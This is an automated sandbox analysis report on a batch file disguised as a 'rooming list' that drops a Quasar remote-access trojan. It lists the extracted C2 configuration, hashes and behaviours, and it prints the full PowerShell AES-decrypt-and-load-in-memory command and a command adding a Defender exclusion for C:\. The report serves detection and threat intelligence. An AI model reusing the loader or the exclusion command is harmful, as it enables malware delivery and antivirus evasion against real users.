Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2023, 19:27

General

  • Target
    Final rooming list.bat
  • Size 579KB
  • Sample231026-x545gage45
  • SHA256 af5f068d0a2b8aa461a28be084e3e39cb7538b9b4b564e59cf75854420965271
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.0.0

Botnet
  • Defender_Bypass

C2
  • burk2n.dynu.net:4782

Mutex
  • IJy39X1DtiAJigDyVP

Attributes
  • encryption_key

    ZUQJuN27rjP6OlfAri54

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\system32\attrib.exe
        attrib +h "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe"
        3⤵
        • Views/modifies file attributes
        PID:1676
      • C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe
        "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe" -w hidden -c "$filePath = 'C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat'; $base64Pattern = '::(.*)'; $base64Code = ''; $found = $false; foreach ($line in [System.IO.File]::ReadLines($filePath)) { if ($line -match $base64Pattern) { $base64Code = $Matches[1].Trim(); $found = $true; break; } } if ($found) { $base64Code }; $key = 'S1h7yTlbJgEbe8fAoA0dwoHzF+iw98+iDWu9qKOt56s='; $iv = '9JUEq2XY9KUlMg+mRt4Zsg=='; $cryptedBytes = [System.Convert]::FromBase64String($base64Code); $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider; $aes.Key = [System.Convert]::FromBase64String($key); $aes.IV = [System.Convert]::FromBase64String($iv); $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $decryptor = $aes.CreateDecryptor(); $decryptedBytes = $decryptor.TransformFinalBlock($cryptedBytes, 0, $cryptedBytes.Length); $assembly = [System.Reflection.Assembly]::Load($decryptedBytes); $entryPoint = $assembly.EntryPoint; $null = $entryPoint.Invoke($null, @())"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3764
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2720
        • C:\Users\Admin\AppData\Roaming\gsges.exe
          "C:\Users\Admin\AppData\Roaming\gsges.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4424

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bdef2825db8438622ccbcf22db38e42955406adced926c1045df2e9b75c520fe
        • MD5 SHA1 SHA512

        Final rooming list.bat.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP

        Final rooming list.bat.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_gjm51fft.ups.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjm51fft.ups.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        gsges.exe

        • Path C:\Users\Admin\AppData\Roaming\gsges.exe
        • Size 288KB
        • SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
        • MD5 SHA1 SHA512 SSDEEP

        gsges.exe

        • Path C:\Users\Admin\AppData\Roaming\gsges.exe
        • Size 288KB
        • SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
        • MD5 SHA1 SHA512 SSDEEP

        gsges.exe

        • Path C:\Users\Admin\AppData\Roaming\gsges.exe
        • Size 288KB
        • SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
        • MD5 SHA1 SHA512 SSDEEP

        memory/2720-33-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp

        memory/2720-23-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp

        memory/2720-28-0x000001E2A8020000-0x000001E2A8030000-memory.dmp

        memory/2720-29-0x000001E2A8020000-0x000001E2A8030000-memory.dmp

        memory/2720-30-0x000001E2A8020000-0x000001E2A8030000-memory.dmp

        memory/4424-59-0x0000000074610000-0x0000000074DC0000-memory.dmp

        memory/4424-57-0x0000000005C70000-0x0000000005CD6000-memory.dmp

        memory/4424-56-0x0000000005800000-0x0000000005810000-memory.dmp

        memory/4424-55-0x00000000058D0000-0x0000000005962000-memory.dmp

        memory/4424-58-0x0000000006890000-0x00000000068A2000-memory.dmp

        memory/4424-53-0x0000000000E20000-0x0000000000E6E000-memory.dmp

        memory/4424-60-0x0000000005800000-0x0000000005810000-memory.dmp

        memory/4424-62-0x0000000007270000-0x000000000727A000-memory.dmp

        memory/4424-54-0x0000000005E80000-0x0000000006424000-memory.dmp

        memory/4424-52-0x0000000074610000-0x0000000074DC0000-memory.dmp

        memory/4476-17-0x00000263C5F30000-0x00000263C5FA2000-memory.dmp

        memory/4476-51-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp

        memory/4476-36-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp

        memory/4476-35-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp

        memory/4476-34-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp

        memory/4476-16-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp

        memory/4476-15-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp

        memory/4476-14-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp

        memory/4476-4-0x00000263C5B50000-0x00000263C5B72000-memory.dmp